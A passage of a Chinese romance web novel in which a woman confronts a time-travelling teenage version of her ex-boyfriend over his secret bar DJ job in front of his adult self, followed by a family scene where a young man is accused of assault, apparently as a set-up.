贺渺顺着他手的方向,看见好几个年轻男人扎堆似地坐在一块,心微微动了几分,嘴上却回绝道,"不怎么想玩,你们找找其他人吧。" 男人被拒绝了也不沮丧,顺手拿出手机,把二维码摆到她的面前,"那能加个好友吗,以后一起出来玩。" 贺渺眼神落在手机屏幕上,微妙地笑了下,大方地扫码加好友。 加完联系方式后,男人还有点恋恋不舍,一步三回头地离开。 等人走后,贺渺像没骨头似地靠在林念禾身上,"你看,朋友和男人之间,我果断放弃了男人。你感不感动" 她也工作忙,最近没空出来喝酒聚餐。好不容易单身遇见男人搭讪,结果只能被迫拒绝。 林念禾心里想着事,手里的手机翻动了两下,点点头,"确实感动,所以打算买个包回馈你。" "我靠!"贺渺直起身,"你知道你刚才说这话的样子有多帅吗!" "当然。" 昏暗的灯光照在脸上,五官隐没在阴影中,林念禾神色自若,平静得宛如一潭深水,周身气质矜贵。 贺渺差点看呆了。 她的姐妹什么时候背着她进化成了女总裁。 而且这气质,这说话方式,这表情,仿佛一比一复刻了某位故人。 贺渺的手搭在她的胳膊上,咽了下口水,"你刚那样子,像是霍锌从地底下爬上来,突然上了你的身。" "大晚上的,别搞,我胆子小。" 家里有长辈干这一行,耳濡目染,所以她也有点迷信。 林念禾扯了下唇,端起酒杯碰了下她手里的杯子。 玻璃杯碰撞发出清脆的声音,耳边是躁动的音乐。 律动仿佛顺着耳腔爬进心脏,震得心脏跳动。嘈杂的环境里,林念禾淡淡开口,"霍锌没死,估计上不了我的身。" "……" 贺渺震惊到瞳孔放大,"你精神分裂" 思念前男友过度,导致产生幻觉 "上回你在酒吧不是看见一个长得像的吗,那就是霍锌。他早八百年前就回国了。" 林念禾抿了口酒,微苦冰凉的酒精刺激着舌尖,扔出一个更炸裂的消息,"昨天他还想睡我。" 贺渺脑子都烧炸了,不知道哪条更无法让人接受。 "那你俩……" "没睡啊。" 她猛地放下心,"那就好那就好,真睡了估计就甩不掉了。" 当年霍锌只在林念禾面前装乖,在他们面前又是一副面孔,恨不得每时每刻都腻在女朋友的身边,给女朋友当狗。 想到那些往事,贺渺不自觉抖了抖肩膀,鸡皮疙瘩掉一地。 心刚放下去两秒,又忽地提起来,她惊疑,"那你今天找我干嘛。" 林念禾拍她肩膀,"想你不行吗。" 这话在贺渺这很受用,心变得舒坦起来。她抬腕喝酒,眼睛落在前面的舞池里四处观察,看有没有自己喜欢的类型。 倏地听见身边人问,"你认识酒吧老板吗?" "认识啊,他是我朋友的哥哥。家里有钱,开酒吧玩玩。" 她想到了什么,放下酒杯,音响声音太大,说话听不清,于是凑到林念禾的耳边,"之前生意一般,听说几个月前不知道从哪挖了个新DJ,长得帅,控场能力强,一个晚上的流水顶以前一个礼拜的。" 贺渺一是加班忙,二是半年来一直在喝中药调理身体,那次喝醉被捞林念禾回家后,就再也没来过这种场合,连应酬都不怎么喝酒。 "老板都高兴死了,请个DJ跟抱回来一颗摇钱树一样。" 林念禾眼里渐渐没了笑意嘴角却挂着一抹笑,看上去格外渗人。 好样的,背着她干了快半年的DJ 白天在家做家务学习,晚上来夜店控场,好精彩的高中生活。 她该给他颁个劳模奖。 贺渺没注意她的表情,把外套脱了放在座位上,"我玩去了,你帮我看一下衣服。" 酒吧晚上会换好几批DJ,现在台上是一对男女DJ,还没轮到霍锌上场。 舞池里面,男女混在一起,贺渺一头的蓝发在里面倒不显眼了。 林念禾收回目光,揉了下眉心,身体后靠,静静地翻着手机。 冷不丁蹦出来条短信,是27岁的成人版霍锌发来的。 霍总:【今天晚上月亮好亮。】 跟着是一张照片。 她手 指微动,点开后,放大是一张半裸的腹肌照,肌肉分明的白皙腹部趴着一只毛色漂亮的三花,盯着镜头,眼神懒漫。 欲涩中夹杂着动物的可爱美好,林念禾手指动了下,收藏下来。 三木:【猫好看,你滚蛋。】 霍总:【凭什么?】 三木:【凭你不要脸。】 对面被骂沉默了,林念禾刚想接着骂两句,耳边忽地一阵欢呼声。 灯光暗下来,台上的人被笼在阴影里,看不清五官,只能望见大致的立体轮廓。 修长的手拨动按键,台底下的人尖叫起伏。 躁动的旋律鼓点只起了个头,周围人的情绪就仿佛被拉到最满,一时间氛围躁到顶峰。 林念禾甩了一个定位给对面,不等对方回话,就把手机摁灭收回去。 有些事不能只让她承担。 骗了她的人,一个都跑不掉。 她静静坐在位置上,格格不入,目光平淡地注视着台上的人。 对方很少抬头,神情冷酷。 不知道过了多久,台侧出来一位漂亮女生,穿着短裙,手里握着一瓶矿泉水。 她走到小霍的身边,没把水递给他,而是拧开瓶盖,想要喂他喝水。 酒吧暧昧的氛围中,初次见面的男女也有可能情绪上头,就亲在一块。荷尔蒙爆发的环境里,一切细微的举动都能演化成感情的催化剂。 少年眉头一皱,脸偏开,空出一只手,接过她的水。 女生的动作落空,她顿了一下,但没说什么,修长的双腿露在空气中,踮脚凑过去想跟他说话。 少年表情冷淡地躲开她,朝人说了句话,后者脸突然变红,很快就下去了。 他心情肉眼可见地有点变差,眼皮冷淡地垂下,嘴唇微抿,眉眼中全是冰冷。 突然间,无意识地朝左前方抬头,眼神一瞥,人群中扫到一张熟悉的面孔。 手里的动作霎时间停滞。 林念禾同他对视,下一秒,抬手隔空远远地朝他举杯。 过了好半天,底下人开始发现不对劲,朝台上看去,小霍勉强恢复正常。 心思已经完全不在台上,满脑子都是林念禾刚才的表情。 她生气了吧? 肯定生气了。 霍锌在脑子估计了一下,现在跪下来求她原谅的成功几率有多少,发现其可能性微乎其微后,呼吸都变得有些困难。 胸口仿佛压了一大块石头,思绪像团绕在一起解不开的毛线球,他甚至都没时间去思考她是怎么抓住他的,自己又是什么时候露出破绽。 台上的人突然下去,过了两分钟换上来新的DJ。 林念禾抱着胳膊,坐在原位,贺渺不知道去哪儿钓男人去了,给她发了条信息就不见人影。 眼前忽地压下一片影子,她头都没抬,伸手去够桌上的酒。 手腕被人攥住,来人估计是跑过来的,呼吸因为运动后变得急促,手心冰凉,贴着她的肌肤,将主人的焦虑和温度一起传过来。 林念禾抬头看他,方才在台上还冷着脸,生人勿近的男生,这时在她面前像是一条做错事情像主人认错的小狗。 霍锌坐到她的身边,紧张到呼吸停止一瞬,心脏像被一只大手死死握住,喉结滚动,低下头,"你怎么来了?" 还在死鸭子嘴硬,哪怕当场抓到,他也不会乖乖承认错误。 "不来怎么知道,你背着我追求音乐梦。" 把在酒吧当DJ说成追求音乐梦。 18岁霍锌的认知里,林念禾说话从来没有像现在这样,这么阴阳怪气过。 宣判命运的大锤狠狠砸在他的心间,霍锌闭上眼,把头埋在她肩颈处。 "我想回家,我们回家再说好不好。" 在这里对他进行拷问,只怕随手拉个酒吧证人就能往里挖出关于他撒谎兼职的更多内幕。 林念禾不为所动,"等会儿回去。" 话音未落,抱着她的人身体僵硬一瞬,"刚才我没喝那个女生的水。" "嗯,看见了。" "我平时都是打完工就走,从来不多留,也不加其他异性的联系方式。" "挺好。" "老板跟我签了合同,我每周就来一次,忙的话就不来。" "是吗。" "我也从来不在这里喝酒,我……真的没干什么。" 一箩筐的话往外倒,小霍先把有利于自己的证据说完了,才开始认错。 "对不起,我错了,我以后不会来的。" "没有和陌生人聊天,没有接过别人的东西,你能不能……别不理我。" 林念禾反手摸摸他的后脑勺,"等人到齐了再说。" 小霍抬眸,"还有谁" 话音刚落,一道高大的身影出现在面前。 第44章 第44章第二次见面,误会…… 气氛陡然安静下来。 喧闹的环境里,三个人仿佛被隔绝开,霍锌走到林念禾的身边,视线跟她旁边坐着的男生短暂交汇又错开。 不过几秒的对视,他就能感受出对方浓厚的敌意。 不同于情敌单纯憎恨的眼神,男生看向他的眼底还有诧异和慌张无措。 像是早早知道他的存在,所以在看见一张相似度高达百分之九十以上的脸突然出现在面前时,表现得丝毫不惊讶。 他抽走林念禾手里的酒杯,指腹摩挲着杯壁,就着她方才喝过的位置,分毫不差地贴上去,喝了一口酒。 冰凉的酒液滑进喉道,灼烧感从胃部渐渐传到大脑。 她什么意思 玩腻了,想跟他摊牌。 还是想在两个人里面选一个,或者是想让他们三个人一起快乐生活下去。 出车祸,在死神面前捡回一条命时,他都没慌过。此时此刻,坐在林念禾的身边,腿贴着腿,温暖的环境里,他身体的温度却在一点一点流失。 手指逐渐僵硬,与其更盛的是内心燃起的占有欲。漆黑的眼眸里翻滚着欲望,他控制不住地想要弄死身边的那个男生。 冒牌货也敢坐在她身边,靠什么,靠那张和自己相似的脸吗? 林念禾看了一眼小霍,后者面上看不出慌乱,垂着眸,不知道在想些什么,看上去似乎没有想要开口说话的念头。 即使他不开口,躲着当缩头乌龟。今天这笔账,她也要跟他们算得明明白白。 她伸出手推了下他的肩头,"说话。" "说什么?" 少年忽而笑了下,朝男人望去,眼底布满寒霜,"他对我敌意挺大的。" 雄性在面对求偶对象时会展现出极大的攻击性,哪怕面前这人表面上再云淡风轻,实际上骨子里这会儿估计巴不得他去死了。 不知道为什么,可能是氛围的原因,也有可能是最近林念禾给他的好脸色太多了,胆子越发变大。 他对于事情败露的害怕只浅浅地笼在心头,像罩着薄薄一层的沙,被风轻轻一吹就能跑散。剩下更多的是,和成年版的自己同处在同一空间的难受。 林念禾什么时候和他走得那么近了 两个人在他眼皮底下暗通曲款到现在,他是死的吗,一点都没发现不对劲。 霍锌用小拇指勾了下她的手,听见对面人说的话,破天荒地觉得可笑。 他不对他有敌意,难道跪下来给他端茶倒水,像古时候侍妾给主母请安吗? 做梦去吧。 哪怕他死了,骨灰也得贴着林念禾的放。 年岁的增长,带来的是学会如何伪装。至少霍锌因为他们之间的熟稔,嫉妒到内心开始燃烧时,表情依旧平稳冷淡。 周围偶尔有人看过来,毕竟双胞胎多见,但两张相同又帅得 不一样的脸却罕见。 林念禾对那些从四面八方投来的视线,视若无睹,问,"不打算相认吗?" 从她坐在这里的那一刻起,她就知道了一切。 之前扯的那些谎话,再也没有办法继续说下去。 下意识想要道歉的话冒到嘴边,小霍的余光扫到旁边男人,又硬生生咽了回去。 年轻的侧脸在灯光下变得晦暗不明,他拉高外套衣领,低头,把下巴藏进去。 "和谁相认"他这会儿嘴硬得要死,仗着自己和林念禾关系好转,不知死活地反复往她底线上蹦跶。 "我又没其他哥哥姐姐,上哪儿认亲去。这是你新认识的朋友吗,看起来一般。" 哥哥 霍锌冷眼望过去,只觉得跟吞了苍蝇一样恶心。 谁要跟他做兄弟。 林念禾摩挲着手机,声音轻缓,侧眸和他对视,"你还记得,那天在酒吧,你跟我说了些什么吗?" 被问到的男生,很明显地乱了一瞬,镇定道,"记得。" "记得就好。我本来以为你忘了,还想帮你回忆回忆那天说的话。" 仿佛暴雨来袭之前的黑云压日,步步紧逼的气势让他的心颤了一下,他没勇气在成年后的自己面前接受拷问,露出劣势。 小霍攥住她的手腕,“回家吗?” “今天没带乐乐出门遛弯,家里的狗粮吃得差不多了,等会儿回去要不要顺路去买几袋回来?” 他试图打感情牌唤回林念禾的怜悯。 突然另一只手横穿过来,男人的力气要比他虚虚环住林念禾手腕的力道大得多,直接甩开他的手。 霍锌拉过她那只被人碰过的手腕,拿出湿巾安静地擦拭。 仿佛被他碰了,就变脏了一样。 \"时间不早了,我送你回家" 林念禾被霍锌的提议砸得有点懵,正常人看见一个跟自己长得那么相似的人,总会问两句,可他从始至终没有问一句。 他很安静,安静得好像能无条件接受一切她的安排。 男生冷笑一声,"回家?你知道我和她住在一起吗,那是我们两个的家。" "你要是真想送她回去,最好顺路把我也带上。" 霍锌进来的时候,往台上瞄了一眼,知道他在酒吧工作,"她喜欢捡些流浪小猫小狗回家,但因为家里原本就有一只狗,所以照顾一段时间后,就会送给朋友。" 如果那只半途被捡回来的流浪动物,对林念禾产生认主行为,乐乐就会冲着对方龇牙恐吓。 每一次,她都会毫不犹豫地先安抚自己的小狗,然后为捡回来的小狗另找主人。 林念禾不是一个滥情的人,相反,她心软还念旧。霍锌把责任全部都推脱到了那个没用的前夫身上,如果不是他拴不住林念禾的心,她怎么可能随意把路边的男生捡回家。 “我是人,又不是狗。”小霍很挑衅地看向他,瞳孔深邃,敌意仿佛要化为利刃朝对方最柔软的心脏刺去,“把别人比作狗的人,其实自己才是那个,巴不得跪下来乞求拴绳的贱人吧。” 霍锌没有因为他的话而表露一分怒意,修长的双腿交架在一起,手指搭在膝盖处轻轻点了点,斯条慢理道,“那靠着和别人有几分相似的脸,没名没份地赖在她身边又算什么?” 他掏出一张名片,放在桌面上,烫金的花纹印在边缘,指尖抵住那繁琐的图案,往右侧推过去。 “十几岁的年纪,适合坐在教室里读书,不应该在酒色场所里工作。”霍锌的语气很平淡,端着长辈架子,但处处都透露出不屑和施舍,“木幸集团一直有在做相关的公益,如果有需要,可以联系我。” “……” 年轻男生的脸色变了又变,差到极点。手指关节泛着淡淡的粉色,右手食指处带着的银色戒指发出折射的冷光,整个人陷入某种阴郁激烈的情绪。 他嘴角扯了一下,忽然摘下戒指,把素圈套在林念禾的右手无名指上。那块地方原本有个带了两年的戒指,指根处还留着浅浅的痕迹。 犹如一滴水落入翻滚的热油中,瞬间就被蒸发消失。燥烈的情绪在霍锌的胸腔里涌动,顺着心脉,流进全身的血管中,他的眼神倏地暗下去,表情冷得吓人。 坐在身边的两个男人,不约而同地压抑着自己,眼神交汇,刀光剑影。如果不是林念禾在场,估计就要弄死对方。 林念禾低头有点茫然地看了下自己的手,一时间没能明白他在干什么。 她回忆了下刚才两个人说的那些话,一句比一句刺耳。 意识到双方可能对彼此都有些误会,林念禾面无表情地抬头,突然给了小霍一巴掌。 前几天扇陆烨甸扇出来的经验,这一巴掌她用的力气不多,但恰到好处能把对方扇疼。 男生被突如其来的巴掌扇得有些懵,白皙的皮肤很快浮现出一个浅红的印记,他的脸微微偏向另一侧。 第一次被林念禾扇,一开始的痛意褪去后,头皮开始莫名发麻,电流般的刺激从后背脊髓爬上大脑,不等他缓过来,下颚就被女人掐住。 林念禾掐住他的下颚,掰正他的脸,男孩的睫毛低垂,眼角泛红,眼眸清冽地注视着她,没有生气,而是在委屈,像得到训诫的宠物,乖乖地任人抚摸。 她心硬得跟石头似的,“要我再重复一遍吗?” “我不能接受你利用我的心软,逼我收留你。谎言被揭穿后的样子,谁都不好看,所以再给你一次机会,自己主动说出来。” 少年的视线越过她,男人似乎没有为他被扇的情形而感到幸灾乐祸,神情冰冷,目光落在林念禾掐他的手上,眼底深处是化不开的占有欲。 他当然知道霍锌在想什么,八成是在嫉妒发疯林念禾碰了他。她在社交中一向有分寸,能给他一巴掌,也从另一个层面上代表林念禾接受了他,真真切切因为他做的事情感到背叛。 小霍瞥了他一眼,点到为止,就收回了目光。 “是我……骗了你。” 听到想要的答案,林念禾松开手,又转头看向霍锌。 “想知道他为什么和你长得那么像吗?” "我知道。" "" 林念禾到嘴的话咽了下去,高涨的气焰猛地降下去,突然变得有些心虚。 他 他知道 他知道小霍的存在,知道18岁的自己穿越过来了? 林念禾脑子cpu都要烧宕机了,压根没料到事情会发展到这个阶段。 如果他知道,那小霍就没说慌,自己扇的那巴掌就等于无理由打人。 旁边的男生脸都被她扇红了,他这会儿轻飘飘来了一句他知道 她心虚到不敢回头看小霍,孩子乖得过分,扇完了还顺着她的话回答。 做好的心理准备在霍锌的回答下,全部化为泡影。林念禾张了张嘴,不知道怎么办了。 霍锌看她茫然无措的表情,抬腕喝了口酒,"所以你还想和他保持那种关系吗?" "那张脸只是长得和我有些像,和我在一起难道不比他好,他有我了解你吗?" 酒吧里的音乐突然暂停一刻。 他贴身过来,凑到她的耳边,声音轻到只有他们两个人才能听见,"这个世界上没人比我更知道怎么才能让你舒服。" 第45章 第45章时空穿越,过去的他…… 温热的呼吸撒在耳尖,充满暗示性的话语环绕在脑海里。 林念禾感觉脑袋里嗡地炸开一朵花,噼里啪啦震得她耳鸣。 她的手指紧了紧,平复气息。 等热意消散后,后知后觉地发现他好像误会了些什么…… 林念禾沉默了一会儿,思考如何解释其实自己没有恋恋不忘到照着他的样子找替身,而是一时心软,遭人蒙骗,收留了一个来自过去的他。 这份沉默落在男人眼里,变成了另一番意思。 她在抉择犹豫,还是不舍得那个便宜货 被扇的小霍,用眼尾不屑地睨他。 真可笑,居然以为他是替身。 林念禾的巴掌能落在他身上,但是落不到霍锌身上。被她拒在门外,视做外人的男人,居然还洋洋得意,觉得自己在她心里还有几分旧情。 他心里突然升起一丝微妙的情绪,很想看看霍锌在知道自己并不是替身,而是18岁的他后的反应。 林念禾捂着脸,深吸口气,给了小霍一肘,"自己解释。" 都怪他,要不是他,她的名声能毁坏成这样 在霍锌心里,她肯定是个变态,还是个对还在上高三的十八岁男 孩儿下手的变态。 小霍挨了一肘,连哼都没哼一声,凑过来,像霍锌刚才跟她说话一样,"你觉得他会信这么扯的事情" 林念禾放下手,"那你骗我的时候,我怎么就信了?" "在你心里,我比他蠢,比他好骗" "……" 他眼尾搭下来,不耐烦地冲着霍锌说,"你误会了。" 霍锌冷漠地看着他们两个人悄悄私语,然后推出来一个人向他解释。 他是什么很贱的人吗? 要被他们当做外人一样玩弄。 "看过时间简史吗?" 男生面无表情,"书里说,时空穿越能通过虫洞,黑洞,超光速来实现。但很不巧,我都没经历过这些,只是早上起床上学,迈出家门的那刻,一眨眼就来到这里。" "准确的说,我是九年前还在上高三的你。三岁,爬楼梯摔下去,在大腿内侧留下一个月亮疤痕。六岁,过生日那天,把生日宴会上的小孩吓哭了。十七岁,跟林念禾做同桌,你一眼钟情,结果不敢承认,花了好一阵才明白自己的心思。" 他顿了顿,用手捂住林念禾的耳朵。 "高二,林念禾趴在桌子上睡觉,不小心碰到你的手。那天晚上回去,梦里……你梦见了她,半夜惊醒,一宿没睡。" 他漆黑的眼眸撩起,直视对方,"还要我说更多的吗?" 童年的那些事情,只要有心去打听,也不是不能打听到。 但做梦梦见一些上不了台面的事,他没和任何人说过,哪怕是林念禾,他也没脸告诉她。因为那时候,他们没有谈恋爱,只有同桌关系,平白无故做梦梦见人家女孩,就跟耍流氓一样。 他没脸说,就把这件事情埋在了心底最深处。 林念禾:…… 捂什么耳朵,她都听得一清二楚。 霍锌的心颤了颤,事实摆在眼前,不相信也得相信。 这个跟自己长得一张脸,样貌比他年轻的男生,是以前的自己。 以前的自己又怎么样,同样没有资格待在林念禾的身边。 这个时空的她,只能是他的。 这是27岁的霍锌女朋友,虽然女朋友跟他分手,时隔三年,没同意复合,但也不能让以前的自己占着好处。 十八岁的他靠那张脸上位吗? 明明27岁的霍锌更有成熟男人的味道,怎么看,怎么算,也是他更占上风。 可这人,借着以前的名号,公然入住林念禾的家,养着他们以前的狗,在同一屋檐下朝夕相处。 占有欲从身体四处的骨缝里钻出来,啃食他的理智。 霍锌眼神沉了沉,各种满是恶意的念头挤满他的脑海。知道少年是过去的自己后,不仅没让他变得平静,反而更加嫉妒。 嫉妒明明是一个人,对方却能获得林念禾的喜爱。 该说的都说完了,林念禾观察了一下男人的表情。 也不知道他这三年经历了些什么,比分手的时候,变得不动声色许多,善于将情绪藏在心底,比如这会儿,她光凭神情就判断不出他的心理状态。 今天来酒吧想要解决的事情,眼下都解决了。 小男高脸上挨了一把,红痕清晰可见,一巴掌算是把她心里的怒气给打了出去。 手机进来一条短信,屏幕亮起,她指纹解锁,点开是贺渺发的,说今晚遇见个不错的弟弟,先走了。 林念禾回了个OK,收起手机,站起来。 旁边两个男人下一秒跟着站起来,像是脖子上挂着铁链,铁链的末端就被她攥在手里。 她皱眉看向小霍,"事情既然解决了,你们也相认了,明天让霍总找人帮你搬个家,东西不多,两个行李箱就能装完。" 话尾刚落,少年僵在原地,木愣愣地望着她,手脚冰凉,心猛地坠入谷底。 "为什么?" "因为我不喜欢别人骗我。我对你做的所有一切都建立在这个谎言上,所以从我知道真相的那一刻起,事情就该回到原位了。" 连同谎言一起被带走的,还有她对他的好感。 林念禾微微抬头,她也不是慈善家,收留他的这段时间,也挺麻烦的,一开始要顾着江予州和他的关系,后来要操心他的学习,还得为他向身边人扯好多谎。 "你不能不要我。"他表情变得可怜,像被人扔掉的破碎品,轻轻一戳就会分崩离析。 "是我做的不好,我跟你道歉。我是个混蛋,利用你的心软骗你。一起住了这么久,我习惯和你的生活,你不要我,我还能去哪儿?" "这个世界和我格格不入,我连爸爸妈妈都找不到。" 霍锌陡然打断他,"妈在老宅住着,你想见,明天就可以带你去。" 他实在忍不下去小霍仗着年轻,装可怜,眉毛微蹙,"我会给你安排住处。" 林念禾知道男高中生正在装可怜,抬手摸摸他的脑袋,说出的话却让人心凉,"霍锌会给你安排好一切,既然有胆子骗人,就该做好承担后果的下场。" "你一而再再而三地往我的底线上踩,是觉得我对你有多喜欢吗?" 凉意顺着指尖滑进血管,仿佛浑身的血液都快要静止下来,他的心因为这段话被撕扯成好几块。 她的手落在他的耳垂,轻轻撩过脖颈,最后放在胸口,感受他心脏的搏动。 "时间不早了,跟他回去吧。" 少年刚要说什么,霍锌突然伸出胳膊,搂住林念禾的腰,一起往外走。 时间有点晚了,酒吧里有些人已经喝得开始找不到方向。霍锌把她护在怀里,避开那些不小心撞过来的醉鬼。 她想回头看一眼,小霍有没有跟上来。 男人就把她的头掰回来。 "林念禾,随手往家里捡陌生男人,你可真有本事。" 她斜了他一眼,"你有资格说这话" 她救的是过去的他。祖父悖论说,如果一个人回到过去杀死自己的祖父,那么他就无法出生,也无法回到过去。万一18岁的霍锌出了事,后面一系列事情都没办法预料了。可能连同27岁的霍锌也会消失 "我到倒巴不得他死在外面。" 话里的恨意让她莫名抬头看了他一眼。 "所以我不该收留你" "是他,不是我。"他很嫌弃地把两个人拆分开,即使知道是不同时空的自己,他也没法同情。 因为住进林念禾家里的不是自己,和她同吃同住的也不是自己。 走到门口,风吹到脸上。 霍锌喝了酒不能开车,她也喝了一点。 三个人两个有驾照的都不能开车,剩下一个是黑户。 等代驾的时间里,安静得可怕。 耳边是车鸣声混杂着风声,小霍低着头,还想同她说些什么,手刚伸到空中,林念禾突然转身就走了。 他收回手。 林念禾不要他了。 也不理他了。 无边际的恐慌宛如潮水般向他涌来,淹没过口鼻。 他该在最开始的时候承认错误,林念禾说不定还会原谅。 一步错,步步错。自己仗着这些日子的相处,就尾巴翘得找不到北。 活该。 坐上车,两个人安静地坐在后座,中间的隔板降落,隔开私密空间。 "明天上学,司机送你去。" "不用,我自己能去。" "那套房子给你单独住。"霍锌神色淡淡,"我工作很忙,有事找秘书。" 他不想跟这个人同住一块。 小霍扯了下唇,讽讥他,"所以把女朋友忙丢了?" 霍锌沉默,阖眼休息,没有理他。 男生笑了一声,懒得揭穿他,老男人这会儿心里估计早破防了,装没事人一样。 转念想起,林念 禾的态度,他的笑倏地消失,面色冷下去,也闭上眼养神。 霍锌给他安排的房子在二中附近,走路上学只要十分钟,比以前坐公交上学要快很多。 第二天,在林念禾家的东西也被打包出来,送到了霍锌的家。 他没空去给小霍送行李,家里的阿姨正好有事休假。霍锌从书房出来后,看见家里突兀的两个行李箱,揉揉眉心,给男生发消息来拿。 小霍今天没上晚自习,接到信息,二十分钟后就过来了。 空荡的客厅,摆着他的行李。 他走过去,手刚要触碰到箱子,突然直起身,用脚尖踢了踢箱子,眼神指向客厅上的纸箱子,"那是什么?" 霍锌对他没什么好脸色,去厨房倒水喝,"我的文件。" 他走出来,就看见男高的手搭在纸箱子边缘,眼神似笑非笑。 "要搬家" 霍锌喝了口水,没回话,往书房走。 "地址很眼熟,如果我没看错,是林念禾的楼上吧。"少年带着威胁的声音轻飘飘传过来,"我也要搬过去。" "如果我不能搬过去,那你也同样住不进去。不信的话,可以试试。" 第46章 第46章陷阱,做局 自从那天在林念禾小区外面撞见她,他就有搬过去的念头,只不过最近忙,一不小心就耽搁到现在。 纸箱里的地址是助理写上去的,方便秘书搬东西过去。结果不巧被他看见了。 霍锌穿着居家服,整个人看起来比平日里穿正装要温和不少,此时面对着家里的那位不速之客,冷静道,“你能怎么样?” “是在我面前要死要活,还是跑到林念禾面前诉苦。如果是第一种情况的话,老实说我不在乎你的死活,后一种,你更是想都别想了。” 他难得有耐心跟小九岁的少年好好说话,“林念禾现在不要你了,你跑去装乖也没有用。” 少年笑了下,“你不也是她不要的吗?” “求复合这么久,也没见她给你个名分。”他幽幽道,“啊,也可能是你不想要吧。” 去他大爷的不想要。 霍锌做梦都想绑着人去民政局领证。 两个人互相冲着对方的痛点刺进去,两败俱伤,没人捞到一点好处。从某种层面上说,他俩确实都是林念禾不要的。 意识到这点后,客厅里陷入死一样的沉寂。 他们没办法握手言和,因为自己都想着独占喜欢的人。像两头厮杀的野兽,露出犬牙咬着自己的猎物,互相都不肯让步。 小霍还比他多了一层厌恶,霍锌记恨自己先一步和林念禾朝夕相处,而他厌恶对方自食其果,同林念禾分手,把自己未来的老婆弄丢了。 林念禾三年来吃过的很多苦,都来源于眼前的男人。 按照他的看法,她心软才会给面前的人第二次机会,不然这种男人就该被丢进火葬场里烧成灰。 "近水楼台先得月。"少年的目光落在纸箱子里,抬腕把那张写了地址的纸拿出来,"但上赶着白送的,我猜林念禾肯定不喜欢。" "喜不喜欢,轮不到你评价。" 霍锌握住水杯的手紧了紧,“和她谈了八年恋爱的人是我,不是你。” 少年耸肩,“那我祝你失败。” 一场没有硝烟的战争悄无声息地结束了,少年离开后,霍锌静静地站在客厅里待了好一会儿,才进了书房。 家里少一个人,对于林念禾来说有点冷清,但很快就习惯了。 之前因为家里有个不能解释的存在,所以只让钟点工阿姨定时上门。 小霍前脚刚走,后脚助理就帮她找了两个阿姨住进来。 保姆房离主卧很远,跟她的活动范围隔开,林念禾既不用操心家里的事,又拥有了私人空间。 安静地度过一段日子,每天上班下班,操心她新品牌上市和分公司创建的进度。 以至于林念禾接到陆烨甸的电话时,差点忘了自己还有个居家等着她请安的爹。 他语气不太好,简单说了两句,就让她今晚回来吃饭。 电话那头乱糟糟的,各种说话声音。 挨到下班,霍锌发消息问她要不要一起吃饭,还附过来一张小猫照片。 他最近一直在有意识地给她报备自己的行程,约晚饭中饭。 和以前完全不一样,之前是霍锌恨不得把林念禾挂身上,现在是他想把自己绑林念禾身边。 她进了电梯,把小猫照片存下来,果断拒绝邀请。 被拒绝的霍锌也没有说什么,习以为常地发过来一张行程表,明天要出差去国外,预计待一个礼拜。 林念禾点开扫了一眼,没回话,把手机收好。 手机刚揣进兜里,旁边一直立着的人,突然朝她这边挪动了一小段距离。 林念禾侧眸望去,姜砚低头和她对视,有点委屈,"你怎么才看见我" 他怎么跑她公司来了。 上次出差回来后,姜砚找她聊过几次天,但因为她太忙,所以一直没见面。 按理说真的想约,还是能挤时间出来的,但她不知道为什么,经常扭头就把人忘了。 电梯门打开,林念禾先一步走出去,姜砚跟在后头,"你不高兴了吗?" "好吧,事先没说是我的不对。但是你都好久没跟我见面了。" 她脚步忽地停住。 这话听着,跟她在外面有个被养的三儿一样,等着翻牌子宠幸。 "我爸刚给我打电话,让我回家一趟。"林念禾拉开车门,"改天约吧,今天实在没空。" 姜砚长腿一迈,坐到副驾驶位置上。 "我知道啊,我爸妈也都在陆家。" 林念禾扶着车门的手僵住,下意识往后撤了一步。 \"叔叔阿姨去陆家做什么?" 姜砚扫了她一眼,胳膊撑着车窗,额前的卷毛称得他眼眸干净,"不知道。" 她望向他的眼睛,确认对方无撒谎的痕迹,慢慢坐进车里面。 一路上,林念禾皱起来的眉毛就没放下过。 车驶进陆家,她刚进门,脚边就飞过来一个茶杯。 姜砚眼疾手快,一把将人拉进怀里。 茶杯四分五裂,碎片溅到他的脸上,划出一小道痕迹,细细的血珠从皮肤表层冒出来。 一张漂亮的脸蛋,非但没有被毁,反而变得更加夺目。 林念禾拿出纸巾,摁在他的伤口处,擦掉血迹,抬眼看向始作俑人。 陆烨甸扶着陆建林,一脸嚣张地看着他。 而扔东西的陆建林,正面色阴郁地望着他们两个人。 家里人很多。 温诗拢了拢肩膀上的披肩,"先进来吧,外面风大。" 太阳一点点沉下去,夕阳洒在门口,林念禾面色平静地走进去。 除了姜砚一家,还有陆烨甸他们一家四口。 陆烨甸的妹妹坐在沙发上,脸上全是泪,在看见他们两个人进来后,又开始哭。 姜砚蹙眉,"这是干什么?" 姜母冷冷瞥了他一眼,"你有脸问" "为什么没脸问刚一进门,被砸的人是我,我都没开口说委屈,她就在这哭。"姜砚嘟嘟囔囔,"还看了我一眼再哭,好像我欺负她了一样。" 陆伯母指着他,胸口气得上下起伏,"你个混蛋,你对我女儿做了什么你难道不清楚" "我和她爸是没什么能力,可她到底也是陆家的人。我们陆家,不是好欺负的。" 姜砚莫名其妙,他招谁惹谁了? 搁这三堂会审是吗? "我还真不知道我做了什么,你有本事你拿出证据啊,别空口无凭乱造谣。" 女孩儿闻言,扑进陆伯母怀里,肩膀哭得抖动,仿佛受到了天大的委屈。 陆烨甸上前,把手机里的照片怼到他的眼前。 照片上,是姜砚喝多了,窝在沙发上睡觉。 他又转身把自己妹妹的衣袖撩起来,露出斑斑点点的红痕。 "你昨天喝多了,在会所,对我妹妹干了什么,还要 我帮你回忆回忆吗?" 姜砚张了张嘴,脸涨得通红,"你胡说,我清清白白,昨天喝完酒就去了楼上房间睡觉,压根没见过你妹妹。" 他下意识去看林念禾的反应,在看见她没有表现任何嫌恶的表情后,一颗心才微微落地。 姜母冷声道,"姜砚,做过的事情就要敢于承认,当然没做过,我们也不会让你受委屈。" 可是陆家的那个女孩,手里攥着照片,监控录像里,她的确进了姜砚的房间,然后哭着衣衫不整地出来。 "这种小儿科的把戏,你们也相信?"姜砚要被气笑了,“我要是真干了,你们又想怎么样,逼着我娶她吗,别说我没干过这些事,就算干了,我也不可能因为一次意外就娶自己不喜欢的女生。” “直接报警吧,我要是真干出畜牲事,你们就上法院告我,我进去坐牢。没干的话,你们就挨个等着我送你们进去坐牢。”他的视线扫过陆家的人,眼神冰冷。 提议一出,陆伯母声音陡然拔高,“不行!” 